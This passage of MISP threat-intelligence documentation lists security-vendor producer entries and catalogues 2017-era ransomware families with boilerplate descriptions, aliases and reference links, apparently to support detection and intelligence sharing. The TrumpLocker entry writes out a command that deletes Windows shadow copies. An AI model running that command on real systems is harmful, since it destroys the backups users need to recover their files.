Cofense is the original and leading provider of security awareness training and email phishing simulation, offering global enterprise-level advanced email threat detection and remediation solutions. Cofense PhishMe and Cofense Phishing Detection and Response (PDR) offer the world's only platforms to leverage over 35 million Cofense-trained employees who actively report suspected phishing and other dangerous email threats in real-time.

The tag is: *misp-galaxy:producer="Cofense"*

Table 12959. Table References

Links
https://www.linkedin.com/company/cofense
https://cofense.com/blog

WithSecure

WithSecure, formerly F-Secure Business, is Europe's cyber security partner of choice. Trusted by IT service providers, MSSPs, and businesses worldwide, we deliver outcome-based cyber security solutions that protect mid-market companies.

The tag is: *misp-galaxy:producer="WithSecure"*

WithSecure is also known as:

- F-Secure Business
- WithSecure Labs

Table 12960. Table References

Links
https://labs.withsecure.com/publications

Trustwave

Trustwave Holdings, Inc. is an American cybersecurity subsidiary of The Chertoff Group. It focuses on providing managed detection and response (MDR), managed security services (MSS), database security, and email security to organizations around the globe.

The tag is: *misp-galaxy:producer="Trustwave"*

Trustwave is also known as:

- SpiderLabs

Table 12961. Table References

Links
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog

Picus Security

Picus Security, the leading security validation company, gives organizations a clear picture of their cyber risk based on business context. Picus transforms security practices by correlating, prioritizing, and validating exposures across siloed findings so teams can focus on critical gaps and high-impact fixes.

The tag is: *misp-galaxy:producer="Picus Security"*

Table 12962. Table References

Links
https://www.picussecurity.com/resource/tag/article

CIRCL

The Computer Incident Response Center Luxembourg (CIRCL) is a government-driven initiative designed to gather, review, report and respond to computer security threats and incidents. CIRCL operates multiple intelligence sharing community running with MISP which is developed by CIRCL.

The tag is: *misp-galaxy:producer="CIRCL"*

CIRCL is also known as:

- CIRCL.LU
- Computer Incident Response Center Luxembourg

Table 12963. Table References

Links
https://circl.lu/

ransom-isac

We're building a collaborative community of cybersecurity professionals dedicated to sharing high-quality threat intelligence. Join thousands of defenders, researchers, and analysts working together to protect organizations worldwide from ransomware threats.

The tag is: *misp-galaxy:producer="ransom-isac"*

Table 12964. Table References

Links
https://ransom-isac.com/

Ransomware

Ransomware galaxy based on different sources and maintained by the MISP Project..

Ransomware is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml - http://pastebin.com/raw/GHgpWjar - MISP Project - https://id-

ransomware.blogspot.com/2016/07/ransomware-list.html - ransomlook.io

Nhtnwcuf Ransomware (Fake)

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Nhtnwcuf Ransomware (Fake)"*

Table 12965. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/nhtnwcuf-ransomware.html

CryptoJacky Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptoJacky Ransomware"*

Table 12966. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/cryptojacky-ransomware.html
https://twitter.com/jiriatvirlab/status/838779371750031360

Kaenlupuf Ransomware

About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Kaenlupuf Ransomware"*

Table 12967. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/kaenlupuf-ransomware.html

EnjeyCrypter Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="EnjeyCrypter Ransomware"*

Table 12968. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/enjey-crypter-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-10th-2017-spora-cerber-and-technical-writeups/
https://www.bleepingcomputer.com/news/security/embittered-enjey-ransomware-developer-launches-ddos-attack-on-id-ransomware/

Dangerous Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Dangerous Ransomware"*

Table 12969. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/dangerous-ransomware.html

Vortex Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Vortex Ransomware"*

Vortex Ransomware is also known as:

- Ƒl□ter□ r□□□□□□□re

Table 12970. Table References

Links

https://id-ransomware.blogspot.co.il/2017/03/vortex-ransomware.html
https://twitter.com/struppigel/status/839778905091424260

GC47 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="GC47 Ransomware"*

Table 12971. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/gc47-ransomware.html

RozaLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="RozaLocker Ransomware"*

RozaLocker Ransomware is also known as:

- Roza

Table 12972. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/rozalocker-ransomware.html
https://twitter.com/jiriatvirlab/status/840863070733885440

CryptoMeister Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptoMeister Ransomware"*

Table 12973. Table References

Links

https://id-ransomware.blogspot.co.il/2017/03/cryptomeister-ransomware.html

GG Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Poses as Hewlett-Packard 2016

The tag is: *misp-galaxy:ransomware="GG Ransomware"*

Table 12974. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/gg-ransomware.html

Project34 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Project34 Ransomware"*

Table 12975. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/project34-ransomware.html

PetrWrap Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="PetrWrap Ransomware"*

Table 12976. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/petrwrap-ransomware.html
https://www.bleepingcomputer.com/news/security/petrwrap-ransomware-is-a-petya-offspring-used-in-targeted-attacks/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-17th-2017-revenge-petrwrap-and-captain-kirk/

https://securelist.com/blog/research/77762/petrwrap-the-new-petya-based-ransomware-used-in-targeted-attacks/

Karmen Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. RaaS, baed on HiddenTear

The tag is: *misp-galaxy:ransomware="Karmen Ransomware"*

Table 12977. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-17th-2017-revenge-petrwrap-and-captain-kirk/
https://id-ransomware.blogspot.co.il/2017/03/karmen-ransomware.html
https://twitter.com/malwrhunterteam/status/841747002438361089

Revenge Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoMix / CryptFile2 Variant

The tag is: *misp-galaxy:ransomware="Revenge Ransomware"*

Table 12978. Table References

Links
https://www.bleepingcomputer.com/news/security/revenge-ransomware-a-cryptomix-variant-being-distributed-by-rig-exploit-kit/
https://id-ransomware.blogspot.co.il/2017/03/revenge-ransomware.html

Turkish FileEncryptor Ransomware

his is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Turkish FileEncryptor Ransomware"*

Turkish FileEncryptor Ransomware is also known as:

- Fake CTB-Locker

Table 12979. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/turkish-fileencryptor.html
https://twitter.com/JakubKroustek/status/842034887397908480

Kirk Ransomware & Spock Decryptor

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Payments in Monero

The tag is: *misp-galaxy:ransomware="Kirk Ransomware & Spock Decryptor"*

Kirk Ransomware & Spock Decryptor is also known as:

- Kirk & Spock Decryptor

Table 12980. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/kirkspock-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-17th-2017-revenge-petrwrap-and-captain-kirk/
https://www.bleepingcomputer.com/forums/t/642239/kirk-ransomware-help-support-topic-kirk-extension-ransom-notetxt/
http://www.networkworld.com/article/3182415/security/star-trek-themed-kirk-ransomware-has-spock-decryptor-demands-ransom-be-paid-in-monero.html
http://www.securityweek.com/star-trek-themed-kirk-ransomware-emerges
https://www.grahamcluley.com/kirk-ransomware-sports-star-trek-themed-decryptor-little-known-crypto-currency/
https://www.virustotal.com/en/file/39a2201a88f10d81b220c973737f0becedab2e73426ab9923880fb0fb990c5cc/analysis/

ZinoCrypt Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="ZinoCrypt Ransomware"*

Table 12981. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/zinocrypt-ransomware.html
https://twitter.com/demonslay335?lang=en
https://twitter.com/malwrhunterteam/status/842781575410597894

Crptxxx Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Uses @enigma0x3's UAC bypass

The tag is: *misp-galaxy:ransomware="Crptxxx Ransomware"*

Table 12982. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/crptxxx-ransomware.html
https://www.bleepingcomputer.com/forums/t/609690/ultracrypter-cryptxxx-ultradecrypter-ransomware-help-topic-crypt-cryp1/page-84
http://www.fixinfectedpc.com/uninstall-crptxxx-ransomware-from-pc
https://twitter.com/malwrhunterteam/status/839467168760725508

MOTD Ransomware

About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="MOTD Ransomware"*

Table 12983. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/motd-ransomware.html
https://www.bleepingcomputer.com/forums/t/642409/motd-of-ransome-hostage/
https://www.bleepingcomputer.com/forums/t/642409/motd-ransomware-help-support-topics-motdtxt-and-enc-extension/

CryptoDevil Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is

understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptoDevil Ransomware"*

Table 12984. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/cryptodevil-ransomware.html
https://twitter.com/PolarToffee/status/843527738774507522

FabSysCrypto Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="FabSysCrypto Ransomware"*

Table 12985. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/fabsyscrypto-ransomware.html
https://twitter.com/struppigel/status/837565766073475072

Lock2017 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Lock2017 Ransomware"*

Table 12986. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/lock2017-ransomware.html

RedAnts Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="RedAnts Ransomware"*

Table 12987. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/redants-ransomware.html

ConsoleApplication1 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="ConsoleApplication1 Ransomware"*

Table 12988. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/consoleapplication1-ransomware.html

KRider Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="KRider Ransomware"*

Table 12989. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/krider-ransomware.html
https://twitter.com/malwrhunterteam/status/836995570384453632

CYR-Locker Ransomware (FAKE)

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The following note is what you get if you put in the wrong key code: https://3.bp.blogspot.com/-qsS0x-tHx00/WLM3kkKWKAI/AAAAAAAAEDg/Zhy3eYf-ek8fY5uM0yHs7E0fEFg2AXG-gCLcB/s1600/failed-key.jpg

The tag is: *misp-galaxy:ransomware="CYR-Locker Ransomware (FAKE)"*

Table 12990. Table References

Links
https://id-ransomware.blogspot.co.il/search?updated-min=2017-01-01T00:00:00-08:00&updated-max=2018-01-01T00:00:00-08:00&max-results=50

DotRansomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="DotRansomware"*

Table 12991. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/dotransomware.html

Unlock26 Ransomware

About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments.All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Unlock26 Ransomware"*

Table 12992. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/unlock26-ransomware.html
https://www.bleepingcomputer.com/news/security/new-raas-portal-preparing-to-spread-unlock26-ransomware/

PicklesRansomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Python Ransomware

The tag is: *misp-galaxy:ransomware="PicklesRansomware"*

PicklesRansomware is also known as:

- Pickles

Table 12993. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/pickles-ransomware.html
https://twitter.com/JakubKroustek/status/834821166116327425

Vanguard Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware poses at MSOffice to fool users into opening the infected file. GO Ransomware

The tag is: *misp-galaxy:ransomware="Vanguard Ransomware"*

Table 12994. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/vanguard-ransomware.html
https://twitter.com/JAMESWT_MHT/status/834783231476166657

PyL33T Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="PyL33T Ransomware"*

Table 12995. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/pyl33t-ransomware.html
https://twitter.com/Jan0fficial/status/834706668466405377

TrumpLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. This is the old VenusLocker in disquise .To delete shadow files use the following commend: C:\Windows\system32\wbem\wmic.exe shadowcopy delete&exit https://2.bp.blogspot.com/-8qIiBHnE9yU/WK1mZn3LgwI/AAAAAAAAD-M/ZKl7_Iwr1agYtlVO3HXaUrwitcowp5_NQCLcB/s1600/lock.jpg

The tag is: *misp-galaxy:ransomware="TrumpLocker Ransomware"*

Table 12996. Table References

Links
https://www.bleepingcomputer.com/news/security/new-trump-locker-ransomware-is-a-fraud-just-venuslocker-in-disguise/
https://id-ransomware.blogspot.co.il/2017/02/trumplocker.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-24th-2017-trump-locker-macos-rw-and-cryptomix/

Damage Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Written in Delphi

The tag is: *misp-galaxy:ransomware="Damage Ransomware"*

Table 12997. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/damage-ransomware.html
https://decrypter.emsisoft.com/damage
https://twitter.com/demonslay335/status/835664067843014656

XYZWare Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="XYZWare Ransomware"*

Table 12998. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/xyzware-ransomware.html
https://twitter.com/malwrhunterteam/status/833636006721122304

YouAreFucked Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="YouAreFucked Ransomware"*

YouAreFucked Ransomware is also known as:

- FortuneCrypt

Table 12999. Table References

Links
https://www.enigmasoftware.com/youarefuckedransomware-removal/

CryptConsole 2.0 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptConsole 2.0 Ransomware"*

Table 13000. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/cryptconsole-2-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/

BarRax Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="BarRax Ransomware"*

BarRax Ransomware is also known as:

- BarRaxCrypt Ransomware

Table 13001. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/barraxcrypt-ransomware.html
https://twitter.com/demonslay335/status/835668540367777792

CryptoLocker by NTK Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptoLocker by NTK Ransomware"*

Table 13002. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/cryptolocker-by-ntk-ransomware.html

UserFilesLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="UserFilesLocker Ransomware"*

UserFilesLocker Ransomware is also known as:

- CzechoSlovak Ransomware

Table 13003. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/userfileslocker-ransomware.html

AvastVirusinfo Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. PAYING RANSOM IS USELESS, YOUR FILES WILL NOT BE FIXED. THE DAMAGE IS PERMENENT!!!!

The tag is: *misp-galaxy:ransomware="AvastVirusinfo Ransomware"*

Table 13004. Table References

Links
https://id-ransomware.blogspot.co.il/2017_03_01_archive.html
https://id-ransomware.blogspot.co.il/2017/03/avastvirusinfo-ransomware.html

SuchSecurity Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="SuchSecurity Ransomware"*

SuchSecurity Ransomware is also known as:

- Such Security

Table 13005. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/suchsecurity-ransomware.html

PleaseRead Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="PleaseRead Ransomware"*

PleaseRead Ransomware is also known as:

- VHDLocker Ransomware

Table 13006. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/vhd-ransomware.html

Kasiski Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Kasiski Ransomware"*

Table 13007. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/kasiski-ransomware.html
https://twitter.com/MarceloRivero/status/832302976744173570

https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-17th-2017-live-hermes-reversing-and-scada-poc-ransomware/

Fake Locky Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Fake Locky Ransomware"*

Fake Locky Ransomware is also known as:

- Locky Impersonator Ransomware

Table 13008. Table References

Links
https://www.bleepingcomputer.com/news/security/the-locky-ransomware-encrypts-local-files-and-unmapped-network-shares/
https://id-ransomware.blogspot.co.il/2017/02/locky-impersonator.html
https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-thor-extension-after-being-a-bad-malware/

CryptoShield 1.0 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoShield 1.0 is a ransomware from the CryptoMix family.

The tag is: *misp-galaxy:ransomware="CryptoShield 1.0 Ransomware"*

Table 13009. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/cryptoshield-2-ransomware.html
https://www.bleepingcomputer.com/news/security/cryptomix-variant-named-cryptoshield-1-0-ransomware-distributed-by-exploit-kits/

Hermes Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Filemarker: "HERMES"

The tag is: *misp-galaxy:ransomware="Hermes Ransomware"*

Table 13010. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/hermes-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-17th-2017-live-hermes-reversing-and-scada-poc-ransomware/
https://www.bleepingcomputer.com/forums/t/642019/hermes-ransomware-help-support-decrypt-informationhtml/
https://www.bleepingcomputer.com/news/security/hermes-ransomware-decrypted-in-live-video-by-emsisofts-fabian-wosar/

LoveLock Ransomware or Love2Lock Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="LoveLock Ransomware or Love2Lock Ransomware"*

LoveLock Ransomware or Love2Lock Ransomware is also known as:

- LoveLock
- Love2Lock

Table 13011. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/lovelock-ransomware.html

Wcry Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Wcry Ransomware"*

Table 13012. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/wcry-ransomware.html

DUMB Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="DUMB Ransomware"*

Table 13013. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/dumb-ransomware.html
https://twitter.com/bleepincomputer/status/816053140147597312?lang=en

X-Files

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="X-Files"*

Table 13014. Table References

Links
https://id-ransomware.blogspot.co.il/2017_02_01_archive.html
https://id-ransomware.blogspot.co.il/2017/02/x-files-ransomware.html

Polski Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The Ransom is 249$ and the hacker demands that the victim gets in contact through e-mail and a Polish messenger called Gadu-Gadu.

The tag is: *misp-galaxy:ransomware="Polski Ransomware"*

Table 13015. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/polski-ransomware.html

YourRansom Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This hacker demands that the victim contacts him through email and decrypts the files for FREE.(moreinfo in the link below)

The tag is: *misp-galaxy:ransomware="YourRansom Ransomware"*

Table 13016. Table References

Links

https://id-ransomware.blogspot.co.il/2017/02/yourransom-ransomware.html
https://www.bleepingcomputer.com/news/security/yourransom-is-the-latest-in-a-long-line-of-prank-and-educational-ransomware/
https://twitter.com/_ddoxer/status/827555507741274113

Ranion RaasRansomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ranion Raas gives the opportunity to regular people to buy and distribute ransomware for a very cheap price. (More info in the link below). RaaS service

The tag is: *misp-galaxy:ransomware="Ranion RaasRansomware"*

Table 13017. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/ranion-raas.html
https://www.bleepingcomputer.com/news/security/ranion-ransomware-as-a-service-available-on-the-dark-web-for-educational-purposes/

Potato Ransomware

Wants a ransom to get the victim's files back . Originated in English. Spread worldwide.

The tag is: *misp-galaxy:ransomware="Potato Ransomware"*

Table 13018. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/polato-ransomware.html

# of Ransomware: OpenToYou (Formerly known as OpenToDecrypt)

This ransomware is originated in English, therefore could be used worldwide. Ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.

